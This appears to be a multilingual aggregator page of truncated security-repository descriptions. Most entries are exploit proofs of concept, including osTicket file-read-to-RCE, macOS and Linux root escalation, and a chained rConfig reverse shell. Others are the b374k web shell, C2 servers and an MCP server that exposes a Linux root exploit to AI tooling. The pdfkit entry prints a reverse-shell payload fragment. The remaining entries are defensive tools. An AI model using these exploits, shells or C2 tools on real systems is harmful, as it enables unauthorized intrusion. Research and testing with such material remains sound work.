CVE-2026-22200

CVE-2026-22200: osTicket PDF 파일 읽기 + CNEXT RCE osTicket CVE-2026-22200에 대한 개념 증명 익스플로잇으로, PHP 필터를 악용하여 mPDF 라이브러리를 통해 파일을 유출하고 CVE-2024-2961CNEXT을 통해 RCE로 연결될 수 있습니다. 블로그 게시물 상세 분석은 여기: Horizon3.ai - Ticket to Shell: Exploiting PHP Filters and CNEXT in osTicket CVE-2026-22200 최신 보안 연구를 위해...

BerrySentinel

🫐 Berry Sentinel Детектор поведения C2-соединений Command & Control в реальном времени Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine Что это такое? Berry Sentinel отслеживает все активные сетевые подключения в вашей системе и анализирует поведение процессов, которые их создают...

toxiproxy

Toxiproxy Toxiproxy는 네트워크 상태를 시뮬레이션하기 위한 프레임워크입니다. 테스트, CI 및 개발 환경에서 작동하도록 특별히 만들어졌으며, 연결에 대한 결정적 변조를 지원하면서도 무작위 혼란과 사용자 지정도 지원합니다. Toxiproxy는 테스트를 통해 애플리케이션에 단일 실패 지점이 없음을 입증하는 데 필요한 도구입니다. 우리는 2014년 10월부터 Shopify의 모든 개발 및 테스트 환경에서 이를 성공적으로 사용해 왔습니다. 복원력에 대한 자세한 내용은 블로그 게시물blog을 참조하세요. Toxiproxy...

android-security-awesome

android-security-awesome Коллекция ресурсов, связанных с безопасностью Android. 1. Инструменты 2. Академические/Исследовательские/Публикации/Книги 3. Эксплойты/Уязвимости/Баги Инструменты Онлайн-анализаторы 1. Appknox - платный 2. Virustotal 3. NowSecure Lab Automated - корпоративный инструмент...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL을 통해 굵게 표시된 값 수정: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

ravage

Ravage Ravage — это CLI-инструмент, ориентированный на доказательства, для оценки работающего веб-приложения, которое принадлежит вам или на тестирование которого у вас есть явное разрешение. Он сочетает детерминированную разведку и валидацию с опциональным модельно-управляемым циклом атаки,...

b374k

b374k shell 3.2 This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser Features : File manager view, edit, rename, delete, upload, download, archiver, etc Search file,...

b374k

b374k 쉘 3.2 이 PHP 쉘은 시스템 또는 웹 관리자가 cpanel, ssh, ftp 등을 사용하지 않고 원격 관리를 수행할 수 있는 유용한 도구입니다. 모든 작업은 웹 브라우저 내에서 이루어집니다. 기능: 파일 관리자 보기, 편집, 이름 변경, 삭제, 업로드, 다운로드, 압축 등 파일, 파일 내용, 폴더 검색 정규식 사용 가능 명령 실행 스크립트 실행 php, perl, python, ruby, java, node.js, c 바인드/리버스 쉘 연결을 통한 쉘 제공 간단한 패킷 크래프터 DBMS 연결 mysql,...

DirtySlide

DirtySlide 권한 없는 사용자에서 root로 권한을 상승시키는 macOS LPE로컬 권한 상승입니다. v5 슬라이드 워크vmsharedregionslidepagev5의 페이지 내 경계 검사 누락으로 인해 dyld 공유 캐시 페이지에 인접한 커널 메모리에 대한 8바이트 OOBOut-of-Bounds 읽기/쓰기가 발생하며, syscall 536을 통해 도달 가능합니다. macOS 26.5.225F84, xnu-12377.121.10에서 패치 되었습니다. 26.5 베타xnu-12377.120.72까지 취약합니다. 분석 문서:...

game-of-kingshot-re

got-re — Обратная разработка: Game of Thrones: Conquest Android Образовательный проект. Цель — понять, как современная игра Android на Unity/IL2CPP общается, как работают её нативные SDK защиты и как применять методы статического и динамического анализа к реальному APK. Что это такое Этот...

dnsglobe

dnsglobe Глобальная проверка распространения DNS для вашего терминала — TUI на Rust, который параллельно опрашивает 34 публичных DNS-резолвера по всему миру, сравнивает их ответы и показывает распространение вашей записи на карте мира. Представьте dnschecker.org / whatsmydns.net, но в вашем...

like-dbg

LIKE-DBG LIKE-DBG LI nux-KE rnel-D e B u G ger は、Linuxカーネルデバッグ環境をセットアップする際の退屈な作業を自動化することを目的としています。 私はカーネルエクスプロイト研究に飛び込もうとしましたが、既存のソリューションは十分に使いやすいものではありませんでした。 そこで、研究に飛び込む前に必要なすべての事前ステップを、可能な限り苦痛がなく楽しいものにする試みとして、このプロジェクトを作成しました。...

CVE-2022-0185-Case-Study

CVE-2022-0185 案例研究 本案例研究是ECE 9069课程“黑客入门”的一个作业成果：https://whisperlab.org/introduction-to-hacking/ CVE-2022-0185 概述 CVE-2022-0185 是一个基于堆的缓冲区溢出漏洞，存在于 Linux 内核文件系统上下文（Filesystem Context）功能中的 legacyparseparam 函数验证所提供的参数长度的方式中。一个非特权本地用户（如果启用了非特权用户命名空间，则不需要；否则需要命名空间的 CAPSYSADMIN 权限），能够打开一个不支持文件系统上下文...

MobileApp-Pentest-Cheatsheet

모바일 애플리케이션 침투 테스트 치트 시트 모바일 앱 침투 테스트Pentest 치트 시트는 특정 모바일 애플리케이션 침투 테스트 주제와 체크리스트에 대한 고가치 정보를 간결하게 수집하기 위해 제작되었으며, 침투 테스트 수행을 위한 OWASP Mobile Risk Top 10에 매핑되어 있습니다. Mobile Application Security Testing Distributions All-in-one Mobile Security Frameworks Android Application Penetration Testing...

CVE-2021-24145

CVE-2021-24145 WordPress ファイルアップロード脆弱性、Modern Events Calendar Lite WordPress プラグイン 5.16.5 未満 https://nvd.nist.gov/vuln/detail/CVE-2021-24145 インストールと実行手順 1. WordPress のインストール インストールを進める際、docker-compose.yml ファイルでポートフォワーディングを行ってください。 root@kitploit: $ docker-compose up 2. WordPress 初期設定 & プラグインインストール...

exploits-rconfig

exploits 针对 rconfig = 3.9.4 的三个漏洞利用： root@kitploit: CVE-2019-19509 : authenticated RCE CVE-2019-19585 : Local Privilege Escalation root CVE-2020-10220 : unauthenticated SQLi rconfigrootRCEunauth.py : chaining the three CVEs above to get root reverse shell without authentication...

caOptics

참고 개발 우선순위 변경과 커뮤니티 활동을 다른 영역PoC, 기타 도구, 데모/발표으로 재조정함에 따라 프로젝트가 보관 처리되었으며, 프로젝트는 읽기 전용으로 설정되었습니다. CA Optics - Azure AD Conditional Access Gap Analyzer Conditional Access란 무엇인가? 초기 테스터를 위한 참고 사항 릴리스 노트 문서 갭 예시 순열 생성 사전 요구 사항 중요 설명 - Conditional Access Gap 분석기 기존 도구와의 비교 범위 Opinionated 설계 설계 결정 플랫폼...

PyHmmm

PyHmmm これは何ですか？ これはPythonで書かれたHavoc C2用のサードパーティエージェントです。カスタムHavocエージェントの書き方を学ぶための基本的なPoCを意図しており、付随するブログ記事は https://codex-7.gitbook.io/codexs-terminal-window/red-team/red-team-dev/extending-havoc-c2/third-party-agents です。 機能 現在、サポートしているコマンドは2つだけです： shell system command exit これは OPSEC...

RedbloodC2

Публичная версия Redblood C2 root@kitploit: Это простой сервер управления и контроля для работы с сессиями и вашими жертвами установка root@kitploit: $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js Использование root@kitploit: После установки...

copy-fail-mcp

Copy Fail MCP 📖 설치 가이드 — 빠른 시작, 수동 설정, 문제 해결 CVE-2026-31431 — 지금까지 발견된 최악의 Linux 취약점. 이제 MCP로 제어 가능합니다. 732바이트의 Python 코드. 컴파일 불필요. 경쟁 조건 없음. 배포판별 오프셋 없음. 단 한 번의 공격으로 2017년 이후 빌드된 모든 Linux 커널에서 루트 권한을 얻습니다. 이 도구는 접근 가능한 모든 Linux 시스템에서 이 취약점을 테스트하는 MCP 서버 + 웹 대시보드입니다. 원본 PoC는 이미 사용하기 쉬우므로 이 도구는 여기...